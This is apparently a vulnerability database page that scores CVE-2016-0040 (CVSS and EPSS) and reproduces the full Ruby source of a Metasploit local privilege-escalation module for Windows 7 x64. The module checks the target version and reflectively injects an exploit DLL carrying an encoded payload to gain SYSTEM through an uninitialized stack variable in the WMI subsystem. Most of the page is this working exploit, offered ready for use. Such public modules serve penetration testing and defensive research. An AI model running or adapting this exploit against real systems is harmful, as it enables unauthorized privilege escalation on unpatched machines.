7.2 High
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
0.0004 Low
EPSS
Percentile
12.8%
This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl. This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows WMI Receive Notification Exploit',
'Description' => %q{
This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.
This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.
},
'License' => MSF_LICENSE,
'Author' => [
'smmrootkit', # crash code
'de7ec7ed', # exploit code
'de7ec7ed', # msf module
],
'Arch' => [ARCH_X64],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['CVE', '2016-0040'],
['MSB', 'MS16-014'],
['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'],
['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'],
['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx']
],
'DisclosureDate' => '2015-12-04',
'DefaultTarget' => 0
)
)
end
def check
# Windows 7 SP0/SP1 (64-bit)
unless session.platform == 'windows'
return Exploit::CheckCode::Unknown
end
version = get_version_info
vprint_status("OS Version: #{version.product_name}")
return Exploit::CheckCode::Safe unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation?
return Exploit::CheckCode::Appears
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
check_result = check
if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
end
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Reflectively injecting the exploit DLL and running it...')
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0040', 'CVE-2016-0040.x64.dll'),
encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end
7.2 High
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
0.0004 Low
EPSS
Percentile
12.8%